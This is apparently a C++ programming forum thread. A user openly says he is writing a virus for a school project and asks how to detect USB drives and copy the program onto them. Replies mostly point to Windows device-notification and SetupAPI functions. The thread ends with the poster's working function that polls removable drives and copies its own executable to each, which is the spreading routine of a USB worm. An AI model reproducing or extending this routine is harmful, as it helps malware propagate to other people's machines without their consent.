Detect USB Storage Devices On Insert

Dec 30, 2020 at 11:23am
I want to create a console application that detects when I insert a usb on my pc and then it copies itself to that usb storage device. It also has to detect if an usb storage device is already connected and copies itself to there.

I found an example with GetLogicalDriveStrings but it lists the all the drives on the pc, I need it to be just the usb storage devices.

I could probably come up with a solution where I would search for all the letters like this:

1
2
3
4
5
6
7
8
  char* letter = 'c';
  
  while (letter++ != 'z;){
  
//  check if it exists -> if(exists("e:/")
  
  }
 


But that seems to me a very ugly solution. Please help.

Edit: my current environment is codeblocks20.03 on windows10
Last edited on Dec 30, 2020 at 12:35pm
Dec 30, 2020 at 12:08pm
And this differs from a virus how?
Dec 30, 2020 at 12:24pm
It doesn't , actually it's a virus that I am creating for a school project.

But even if it is wasn't one, it still would be very useful to know how to detect a usb storage device, don't you think?
Dec 30, 2020 at 12:30pm
closed account (z05DSL3A)
What OS?
Dec 30, 2020 at 12:34pm
windows 10
Dec 30, 2020 at 12:41pm
closed account (z05DSL3A)
You probably want to be looking at the RegisterDeviceNotification function.

code example:
https://docs.microsoft.com/en-us/windows/win32/devio/registering-for-device-notification
Dec 30, 2020 at 2:11pm
Dec 30, 2020 at 2:24pm
To search for devices that are already connected you need to use setupapi.h
https://docs.microsoft.com/en-us/windows/win32/api/setupapi/

You use a function called setupgetclassdevs(w or a) to get a device infoset. Then use setupdienumdeviceinfo to actually pull the information out of the device info set. I actually have some example code here.
https://www.cplusplus.com/forum/beginner/275043/
Dec 30, 2020 at 3:04pm
May I ask what the payload is?
Dec 30, 2020 at 3:47pm

Windows 10 with g++
Gives drives which are in use including usb drives.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<windows.h>
#include<iostream>
#include<conio.h>
#include<string>

using namespace std;

void locate( int line, int column )
  {
  COORD coord;
  coord.Y = column;
  coord.X = line;
  SetConsoleCursorPosition(
    GetStdHandle( STD_OUTPUT_HANDLE ),
    coord
    );
  }
  
  int main()
  {
  	string s;
  	while (s[0] != 27)
  	{
  		locate(5,5);
  	system("wmic diskdrive get model,mediatype,status,size" );
  	cout<<endl;
  	cout<<"Press esc to end"<<endl;
  	s=getch();
  	Sleep(50);
  }
  }
 
Dec 30, 2020 at 4:29pm
to directly communicate with a USB device is to open a handle to it using createfile().

To use createfile() you need to obtain a device interface's symbolic name. Which is obtained by using this function. See the remarks

https://docs.microsoft.com/en-us/windows/win32/api/setupapi/nf-setupapi-setupdigetdeviceinterfacedetaila

Once the handle to the drive is open you can use read and write operations on it.

Correction. I guess it's possible once you have the device location to do a filemove operation. The above is apparently only for i/o.

Id also like to add that im not a big fan of the message only window solution. I was playing around with that earlier this week and it only seems to receive the notifications if it's the focus of the desktop or active. There maybe a solution to that problem but im thinking it would probably be more of a sure thing to continuously poll the devices in the system that are a specific type and compare it to the initial or previous poll to see if another (or a device) has popped up that meets the requirements.
Last edited on Dec 30, 2020 at 5:58pm
Dec 30, 2020 at 5:56pm

Thanks guys!!
However, I found the solution that works for me and it is very simple and straight to the point

Here is the function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

// 'exe' would take the 'argv[0]'
void replicateTo_UBS_Storage(string exe)
{
    while(1)
    {
        char logical_drives[MAX_PATH] = {0};
        DWORD result = GetLogicalDriveStrings(MAX_PATH, logical_drives);

        if(result > 0 && result <= MAX_PATH)
        {
            char* single_drive = logical_drives;

            while(*single_drive)
            {
                if(GetDriveTypeA(single_drive) == DRIVE_REMOVABLE)
                    {
                        string exe_dest(single_drive);
                        exe_dest += "Test.exe";

                        if( ! filesystem::exists(exe_dest))
                            filesystem::copy_file(exe, exe_dest);
                    }

                    single_drive += strlen(single_drive) + 1;
            }
        }

        Sleep(1000);
    }
}


references:
https://stackoverflow.com/a/18573199/11337328

https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea
Topic archived. No new replies allowed.